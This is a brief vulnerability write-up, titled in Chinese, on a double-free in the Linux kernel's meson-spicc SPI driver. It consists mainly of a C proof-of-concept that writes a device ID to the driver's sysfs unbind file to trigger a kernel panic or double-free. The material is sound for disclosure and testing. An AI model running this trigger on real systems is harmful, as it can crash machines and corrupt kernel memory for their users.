CVE-2026-31489: Linux内核meson-spicc驱动双重释放漏洞

/* * PoC Concept for CVE-2026-31489 * Triggering the double-put by unbinding the driver. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <device_id>\n", argv[0]); printf("Example: %s c1108400.spi\n", argv[0]); return 1; } // Path to unbind the specific driver instance char path[256]; snprintf(path, sizeof(path), "/sys/bus/platform/drivers/meson-spicc/unbind"); int fd = open(path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind sysfs entry"); return 1; } printf("[*] Attempting to unbind device: %s\n", argv[1]); // Writing the device ID triggers the remove path if (write(fd, argv[1], strlen(argv[1])) < 0) { perror("[-] Failed to write device ID"); close(fd); return 1; } close(fd); printf("[+] Exploit triggered. Check dmesg for kernel panic or double-free error.\n"); return 0; }